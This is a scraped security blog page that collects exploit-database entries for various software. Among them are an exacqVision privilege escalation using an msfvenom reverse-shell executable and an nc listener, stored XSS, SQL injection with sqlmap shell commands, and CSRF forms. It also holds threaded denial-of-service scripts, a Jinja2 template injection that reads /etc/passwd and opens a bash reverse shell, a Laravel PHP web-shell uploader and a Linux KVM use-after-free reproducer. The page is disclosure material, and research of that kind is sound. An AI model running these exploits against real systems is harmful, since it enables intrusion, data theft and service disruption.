# Exploit Title: exacqVision ESM 5.12.2 - Privilege Escalation
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2019-02-13
# Vulnerable Software:
# http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe
# Vendor Homepage: https://www.exacq.com
# Version: 5.12.2.150128
# Tested Windows 7 SP1 x86 and Windows 10 x64
# Description:
# exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions
# Prerequisites
# Local, Low privilege access with restart capabilities
# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.
# A low privilege account is able to rename the enterprisesystemmanager.exe file located in
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System. While a low privilege user is unable to restart the service
# through the application, a restart of the computer triggers the execution of the malicious file.
# note: during install, you cannot choose a folder containing spaces i.e. "program files"
C:\>icacls exacqVisionEsm
exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX)
win7-32bit\bob:(RX)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
C:\>sc qc "exacqVision Enterprise System Manager Web Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: exacqVision Enterprise System Manager Web Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ESMWebService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# Proof of Concept
1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe
2. Setup listener and ensure apache is running on attacking machine
nc -nlvvp 443
service apache2 start
3. Download malicious .exe on victim machine
Open browser to http://192.168.0.163/enterprisesystemmanager.exe and download
4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe
enterprisesystemmanager.exe > enterprisesystemmanager.bak
5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\
6. Restart victim machine and login as low privileged user
7. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863589853
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20009
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/ssl-provider.php page and inject a javascript XSS payload
in ssl-provider-name, ssl-provider's-url "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>
#POC : attached here https://github.com/domainmod/domainmod/issues/88
#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32
#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1"
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users"
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed
cod = "\x41" * 7000
f = open('core_code.txt', 'w')
f.write(cod)
f.close()
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20011
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/category.php page and inject a javascript XSS payload in
CatagoryName, StakeHolder fields "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>
#POC : attached here https://github.com/domainmod/domainmod/issues/88
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20010
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/ssl-provider-account.php page and inject a javascript XSS
payload in username field "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>
#POC : attached here https://github.com/domainmod/domainmod/issues/88
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Kareem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19914
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/dns.php page and inject a javascript XSS payload in
Profile Name & notes fields "><img src=x onerror=alert("XSSed-By-Abdul-Kareem")>
#POC : attached here https://github.com/domainmod/domainmod/issues/87
# -*- coding: utf-8 -*-
# Exploit Title: MediaMonkey 4.1.23 - URL Denial of Service (PoC)
# Date: 13/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.mediamonkey.com/
# Software Link: https://www.mediamonkey.com/sw/MediaMonkey_4.1.23.1881.exe
# Version: 4.1.23.1881
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "MediaMonkey.py", it will create a new file "PoC.mp3"
# 2.- Open MediaMonkey.exe
# 3.- Go to File > Open URL or File...
# 4.- Click on button -> Browse... and select the 'PoC.mp3' file created
# 5.- Crashed
buffer = "http://127.0.0.1/"
badstr = "\x41" * 4000
buffer += badstr
buffer += ".mp3"
f = open ("PoC.mp3", "w")
f.write(buffer)
f.close()
# Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability
# Date: 2018-12-28
# Exploit Author: B0UG
# Vendor Homepage: https://wpbookingcalendar.com/
# Software Link: https://wordpress.org/plugins/booking/
# Version: Tested on version 8.4.3 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-20556
#I. VULNERABILITY
Authenticated SQL Injection
#II. BACKGROUND
'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations.
#III. DESCRIPTION
An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database.
#IV. PROOF OF CONCEPT
1) Access WordPress control panel.
2) Navigate to the Booking Calendar plugin page.
3) Set up Burp Suite to capture the traffic.
4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry.
5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'.
6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection:
• Boolean based blind injection
• Error based injection
• Time based injection
7) We can perform a time based SQL injection by appending ) AND SLEEP(100) AND (1=1 after the ID value in the parameter as shown below.
action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67
Obtaining a shell using sqlmap
-----------------------
• Obtain a SQL Shell
Sqlmap –r post-request.txt –p booking_id --sql-shell
• Obtain a Linux Shell
Sqlmap –r post-request.txt –p booking_id --os-shell
• Obtain a Windows Command Prompt
Sqlmap –r post-request.txt –p booking_id --os-cmd
#V. IMPACT
The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability.
#VI. SYSTEMS AFFECTED
WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected).
#VII. REMEDIATION
Uninstall the plugin until the vulnerability has been fixed by the developer.
#VIII. DISCLOSURE TIMELINE
#December 28, 2018 1: Vulnerability identified.
#December 28, 2018 2: Informed developer of the vulnerability.
#February 14, 2019 3: No communication received back from the developer.
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Kareem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19915
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/edit/host.php?whid=5 page and inject a javascript XSS payload
in "Web Host Name" & "Web Host's url fields "><img src=x
onerror=alert("XSSed-By-Abdul-Kareem")>
#POC : attached here https://github.com/domainmod/domainmod/issues/87
# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com
# Version: 1.1.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17996
1. Description:
LayerBB is a free open-source forum software, the CSRF allows creating a admin user.
2. Proof of Concept:
<!-- Create Admin User -->
<html>
<body>
<form action="http://localhost/[path]/admin/new_user.php" method="POST">
<label for="username">Username</label>
<input name="username" id="username" value="test" type="text">
<label for="password">Password</label>
<input name="password" id="password" value="password123" type="password">
<label for="email">Email Address</label>
<input name="email" id="email" value="test@localhost.co" type="text">
<label for="usergroup">Usergroup</label><br>
<select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br>
<input name="create" value="Create User" type="submit">
</form>
</body>
</html>
<!-- Create Admin User End -->
3. Solution:
Update to 1.1.3
#!/usr/bin/python
#coding: utf-8
# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze *
# ************************************************************************
# Exploit Title: AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze
# Date: 2019-02-14
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://airmore.com/
# Software Link: https://airmore.com/download
# Version: <= AirMore 1.6.1
# Tested on: Android
import sys, requests, threading, signal
def handler(signum, frame):
print '\nFinishing program...\n'
sys.exit(0)
if len(sys.argv) != 3:
print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
print "Example: python AirMore_dos.py 192.168.1.125 2333\n"
sys.exit(0)
def startAttack(url):
url_destination = url + '/?Key=PhoneRequestAuthorization'
headers = {'Origin': url, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'es-ES,es;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Content-Type': 'text/plain;charset=UTF-8', 'accept': 'text/plain', 'Referer': url, 'Connection': 'keep-alive'}
r = requests.post(url_destination, headers=headers)
if __name__ == '__main__':
signal.signal(signal.SIGINT, handler)
url = 'http://' + sys.argv[1] + ':' + sys.argv[2]
threads = []
for i in xrange(0, 10000):
t = threading.Thread(target=startAttack, args=(url,))
threads.append(t)
for x in threads:
x.start()
for x in threads:
x.join()
#!/usr/bin/python
#coding: utf-8
# *********************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * ApowerManager Remote Denial of Service (DoS) / Application Crash *
# *********************************************************************
# Exploit Title: ApowerManager - Phone Manager Remote Denial of Service (DoS) / Application Crash
# Date: 2019-02-14
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.apowersoft.com/phone-manager
# Software Link: https://www.apkmonk.com/download-app/com.apowersoft.phone.manager/4_com.apowersoft.phone.manager_2019-01-08.apk/
# Version: <= ApowerManager - Phone Manager 3.1.7
# Tested on: Android
import sys, requests, threading, signal
def handler(signum, frame):
print '\nFinishing program...\n'
sys.exit(0)
if len(sys.argv) != 3:
print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
print "Example: python apowermanager_dos.py 192.168.1.125 2333\n"
sys.exit(0)
def startAttack(url):
url_destination = url + '/?Key=PhoneRequestAuthorization'
headers = {'Origin': url, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'es-ES,es;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Content-Type': 'text/plain;charset=UTF-8', 'accept': 'text/plain', 'Referer': url, 'Connection': 'keep-alive'}
r = requests.post(url_destination, headers=headers)
if __name__ == '__main__':
signal.signal(signal.SIGINT, handler)
url = 'http://' + sys.argv[1] + ':' + sys.argv[2]
threads = []
for i in xrange(0, 10000):
t = threading.Thread(target=startAttack, args=(url,))
threads.append(t)
for x in threads:
x.start()
for x in threads:
x.join()
#Exploit Title: Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-14
#Vendor Homepage: https://www.navicat.com/es/
#Software Link: https://www.navicat.com/es/download/navicat-for-oracle
#Tested Version: 12.1.15
#Tested on: Windows 10 Single Language x64/ Windows 7 x64 Service Pack 1
#Steps to produce the crash:
#1.- Run python code: Navicat_for_Oracle_12.1.15.py
#2.- Open code.txt and copy content to clipboard
#2.- Open Navicat for Oracle 12.1.15
#3.- Select "Conexión"
#4.- Select "Oracle"
#5.- In "Nombre de conexión" type "Test"
#6.- In "Tipo de conexión" select "Basic"
#7.- In "Host" type 1.1.1.1
#8.- In "Puerto" type "1521"
#9.- In "Nombre del servicio" type ORCL
#10.- In "Nombre de usuario" type "user"
#11.- In "Contraseña" Paste Clipboard
#12.- Select "Aceptar"
#13.- Crashed
cod = "\x41" * 550
f = open('string.txt', 'w')
f.write(cod)
f.close()
#Exploit Title: Free IP Switcher 3.1 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-14
#Vendor Homepage: http://www.eusing.com/index.html
#Software Link: http://www.eusing.com/ipscan/free_ip_scanner.htm
#Tested Version: 3.1
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1
#Steps to produce the crash:
#1.- Run python code: Free_IP_Switcher_3.1.py
#2.- Open bd.txt and copy content to clipboard
#2.- Open Free IP Switcher
#3.- Select "Network Adapter"
#4.- In "Additional" enable "Computer Name" and Paste ClipBoard
#5.- Click on "Activate"
#6.- Crashed
cod = "\x41" * 240
f = open('ip_code.txt', 'w')
f.write(cod)
f.close()
# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF
# Date: 7/17/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14575
1. Description:
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.
2. Proof of Concept:
Cross-Site Scripting
- Create a new thread with the following subject <script>alert('XSS')</script>
- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts
- Reply to a post and change the subject to the following <script>alert('XSS')</script>
- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts
Cross-Site Request Forgery
<html>
<body>
<!-- Restore deleted threads & posts by thread/post ID -->
<div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
<script type="text/javascript">
$("#thread_1").popupMenu();
</script>
</body>
</html>
3. Solution:
Update to 1.1.4
'''
# Exploit Title: Jinja2 Command injection from_string function
# Date: [date]
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# Version: 2.10
# Tested on: Kali Linux
# CVE-2019-8341
// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.
//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''
import Flask
import request
import Jinja2
@app.route("/")
def index():
username = request.values.get('username')
return Jinja2.from_string('Hello ' + username).render()
if __name__ == "__main__":
app.run(host='127.0.0.1' , port=4444)
'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16
Reading the /etc/passwd
http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}
How to prevent it:
Never let the user provide template content.
'''
# Exploit Title: VSCO 1.1.1.0 - Denial of Service (PoC)
# Date: 2/14/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NC1RLNH76PB
# Version: 1.1.1.0
# Tested on: Windows 10
# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the top right search bar and hit Search
# Click back to Home
# App will now crash
buffer = "A" * 5000
payload = buffer
try:
f=open("PoC.txt","w")
print "[+] Creating %s evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
### Exploit Title: UniSharp Laravel File Manager - Arbitrary File Upload
##
## Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
## Exploit Author: Mohammad Danish
## Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
## Software Link: https://github.com/UniSharp/laravel-filemanager
## Version: v2.0.0-alpha7 & v.2.0
##
## Exploit: UniSharp Laravel File Manager - Arbitrary File Upload
## Reference: https://github.com/UniSharp/laravel-filemanager/issues/356
##
##
## Issue Description:
## Larvel File Manager by UniSharp allows Arbitrary File Upload if type is set to Files /laravel-filemanager?type=Files
##
##*********************
##IMPORTANT READ
##*********************
## Code is not good written, as I just started learning python
##
##**********************
## [!!] USAGE: exploit.py <target-ip> <target-port> <laravel_session Cookie>
## [!!] USAGE: exploit.py 192.168.100.12 8080 eyJpdiI6IlplemdVaG9FSm9MaXJobEgrYlwvSkhnPT0iLCJ2YWx1ZSI6IkhrZ2R1O..........<YOUR SESSION ID HERE>
##-----------------------
##
import socket
import sys
def exploit(host,port,sessionId):
req = ""
req += "POST /laravel-filemanager/upload HTTP/1.1\r\n"
req += "Host: "+host+":"+port+"\r\n"
req += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0\r\n"
req += "Accept: */*\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "X-Requested-With: XMLHttpRequest\r\n"
req += "Referer: http://"+host+":"+port+"/laravel-filemanager?type=Files\r\n"
req += "Content-Length: 527\r\n"
req += "Content-Type: multipart/form-data; boundary=---------------------------12194679330849\r\n"
req += "Cookie:laravel_session="+sessionId+"\r\n"
req += "Connection: keep-alive\r\n"
req += "\r\n"
req += "\r\n"
req += "-----------------------------260082409123824\r\n"
req += 'Content-Disposition: form-data; name="upload[]"; filename="c0w.php"\r\n'
req += 'Content-Type: text/plain\r\n\r\n'
req += 'Happy Hacking!!\r\n'
req += "<?\r\n"
req += "system($_REQUEST['cmd']);\r\n"
req += "?>\r\n"
req += "-------------------\r\n"
req += "-----------------------------260082409123824\r\n"
req += 'Content-Disposition: form-data; name="working_dir"\r\n'
req += "/1\r\n"
req += "-----------------------------260082409123824\r\n"
req += 'Content-Disposition: form-data; name="type"\r\n'
req += "Files\r\n"
req += "-----------------------------260082409123824\r\n"
req += 'Content-Disposition: form-data; name="_token"\r\n'
req += "MU5XhVxbrkRnkVJFUHCjdfNSVTKm3qro6OgtWXjy\r\n"
req += "-----------------------------260082409123824--\r\n"
s = socket.socket()
int_port = int(port)
s.connect((host,int_port))
## print req
s.send(req)
response = s.recv(1024)
magic = response[-10:]
if "OK" in magic:
print "[!] Your shell Uploaded successfully to directory /1/c0w.php"
else:
print "[!] Either the server is not vulnerable OR \r\n1) Check your laravel_session cookie \r\n2) Change working_dir in this exploit \r\n3) Check _token"
host = sys.argv[1]
port = sys.argv[2]
sessionId = sys.argv[3]
exploit(host,port,sessionId)
kvm_ioctl_create_device() contains the following code:
dev = kzalloc(sizeof(*dev), GFP_KERNEL);
if (!dev)
return -ENOMEM;
dev->ops = ops;
dev->kvm = kvm;
mutex_lock(&kvm->lock);
ret = ops->create(dev, cd->type);
if (ret < 0) {
mutex_unlock(&kvm->lock);
kfree(dev);
return ret;
}
list_add(&dev->vm_node, &kvm->devices);
mutex_unlock(&kvm->lock);
if (ops->init)
ops->init(dev);
ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
if (ret < 0) {
mutex_lock(&kvm->lock);
list_del(&dev->vm_node);
mutex_unlock(&kvm->lock);
ops->destroy(dev);
return ret;
}
kvm_get_kvm(kvm);
cd->fd = ret;
This code:
1. creates a device that holds a reference to the VM object (with a borrowed
reference, the VM's refcount has not been bumped yet)
2. initializes the device
3. transfers the reference to the device to the caller's file descriptor table
4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real
reference
The ownership transfer in step 3 must not happen before the reference to the VM
becomes a proper, non-borrowed reference, which only happens in step 4.
After step 3, an attacker can close the file descriptor and drop the borrowed
reference, which can cause the refcount of the kvm object to drop to zero.
Reproducer code:
=================================
// run as `gcc -o kvm_fd_install kvm_fd_install.c -Wall -pthread && ./kvm_fd_install`
#include <pthread.h>
#include <fcntl.h>
#include <err.h>
#include <linux/kvm.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>
static int predicted_fd = -1;
static volatile int ready = 0;
static void *do_close_predicted_fd(void *dummy) {
ready = 1;
while (1) close(predicted_fd);
return NULL; /*unreachable*/
}
int main(void) {
int kvm = open("/dev/kvm", O_RDWR);
if (kvm == -1) err(1, "open kvm");
int vm = ioctl(kvm, KVM_CREATE_VM, 0);
if (vm < 0) err(1, "KVM_CREATE_VM");
predicted_fd = dup(0);
if (predicted_fd == -1) err(1, "dup");
close(predicted_fd);
pthread_t thread;
if (pthread_create(&thread, NULL, do_close_predicted_fd, NULL)) errx(1, "pthread_create");
while (ready == 0) /*spin*/;
struct kvm_create_device cd = {
.type = KVM_DEV_TYPE_VFIO,
.fd = -1, //outparm
.flags = 0
};
if (ioctl(vm, KVM_CREATE_DEVICE, &cd)) err(1, "KVM_CREATE_DEVICE");
printf("created device: %d\n", cd.fd);
}
=================================
To reliably reproduce the issue, patch the kernel as follows to widen the race:
=================================
diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c
index 5ecea812cb6a..d43677044ec0 100644
--- a/virt/kvm/kvm_main.c
+++ b/virt/kvm/kvm_main.c
@@ -51,6 +51,7 @@
#include <linux/slab.h>
#include <linux/sort.h>
#include <linux/bsearch.h>
+#include <linux/delay.h>
#include <asm/processor.h>
#include <asm/io.h>
@@ -2970,6 +2971,8 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
bool test = cd->flags & KVM_CREATE_DEVICE_TEST;
int ret;
+ pr_warn("kvm_ioctl_create_device: entry: refcount=%u\n", refcount_read(&kvm->users_count));
+
if (cd->type >= ARRAY_SIZE(kvm_device_ops_table))
return -ENODEV;
@@ -3000,6 +3003,8 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
if (ops->init)
ops->init(dev);
+ pr_warn("kvm_ioctl_create_device: before anon_inode_getfd: refcount=%u\n", refcount_read(&kvm->users_count));
+
ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
if (ret < 0) {
mutex_lock(&kvm->lock);
@@ -3009,8 +3014,13 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
return ret;
}
+ pr_warn("kvm_ioctl_create_device: after anon_inode_getfd: refcount=%u\n", refcount_read(&kvm->users_count));
+ msleep(100);
+ pr_warn("kvm_ioctl_create_device: after sleeping: refcount=%u\n", refcount_read(&kvm->users_count));
+
kvm_get_kvm(kvm);
cd->fd = ret;
+ pr_warn("kvm_ioctl_create_device: exiting: refcount=%u\n", refcount_read(&kvm->users_count));
return 0;
}
=================================
splat in a patched kernel:
=================================
[ 224.536858] kvm_ioctl_create_device: entry: refcount=1
[ 224.539410] kvm_ioctl_create_device: before anon_inode_getfd: refcount=1
[ 224.541542] kvm_ioctl_create_device: after anon_inode_getfd: refcount=1
[ 224.651860] BUG: unable to handle kernel paging request at ffffc900015deb08
[ 224.653744] #PF error: [normal kernel read fault]
[ 224.655032] PGD 1ead35067 P4D 1ead35067 PUD 1eaeb6067 PMD 1e2c46067 PTE 0
[ 224.656834] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[ 224.658364] CPU: 0 PID: 1155 Comm: kvm_fd_install Not tainted 5.0.0-rc3+ #251
[ 224.660252] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 224.662551] RIP: 0010:kvm_vm_ioctl+0xd75/0xdd0
[ 224.663746] Code: c7 c7 a0 f3 a0 a8 e8 53 fa 21 00 bf 64 00 00 00 e8 a0 e5 24 00 be 04 00 00 00 4c 89 ef e8 03 ba 42 00 4c 89 ef e8 cb d8 42 00 <8b> b5 08 9b 00 00 48 c7 c7 00 f4 a0 a8 e8 22 fa 21 00 48 89 ef e8
[ 224.668662] RSP: 0018:ffff8881e3c3f988 EFLAGS: 00010246
[ 224.670057] RAX: 0000000000000000 RBX: 1ffff1103c787f36 RCX: ffffffffa6a2c325
[ 224.671950] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffffc900015deb08
[ 224.673835] RBP: ffffc900015d5000 R08: fffff520002bbd62 R09: fffff520002bbd62
[ 224.675731] R10: 0000000000000001 R11: fffff520002bbd61 R12: ffff8881d65863e0
[ 224.677615] R13: ffffc900015deb08 R14: ffff8881d65863c8 R15: ffffffffa9653bc0
[ 224.679506] FS: 00007f11f9500700(0000) GS:ffff8881eb000000(0000) knlGS:0000000000000000
[ 224.681643] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 224.684886] CR2: ffffc900015deb08 CR3: 00000001dfc20003 CR4: 00000000003606f0
[ 224.686788] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 224.688674] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 224.690565] Call Trace:
[...]
[ 224.721351] do_vfs_ioctl+0x134/0x8f0
[...]
[ 224.732860] ksys_ioctl+0x70/0x80
[ 224.733749] __x64_sys_ioctl+0x3d/0x50
[ 224.734764] do_syscall_64+0x73/0x160
[ 224.735743] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 224.737092] RIP: 0033:0x7f11f8e21dd7
[ 224.738048] Code: 00 00 00 48 8b 05 c1 80 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 91 80 2b 00 f7 d8 64 89 01 48
[ 224.742945] RSP: 002b:00007ffeb6611e58 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
[ 224.744932] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f11f8e21dd7
[ 224.746810] RDX: 00007ffeb6611e64 RSI: 00000000c00caee0 RDI: 0000000000000004
[ 224.748681] RBP: 00007ffeb6611e80 R08: 00007f11f8d40700 R09: 00007f11f8d40700
[ 224.750556] R10: 00007f11f8d409d0 R11: 0000000000000202 R12: 0000564cddd8a7b0
[ 224.752433] R13: 00007ffeb6611f60 R14: 0000000000000000 R15: 0000000000000000
[ 224.754311] Modules linked in: btrfs xor zstd_compress raid6_pq
[ 224.755904] CR2: ffffc900015deb08
[ 224.756792] ---[ end trace 670d8a6b1c3ab210 ]---
=================================
Without the patch, I can still crash a Debian stable distro kernel by running
the reproducer in a loop (`while true; do ./kvm_fd_install; done`), but it takes
a while to trigger:
=================================
[ 251.054762] BUG: unable to handle kernel NULL pointer dereference at 00000000000000a8
[ 251.057734] IP: [<ffffffff95a1695b>] down_write+0x1b/0x40
[ 251.059903] PGD 0
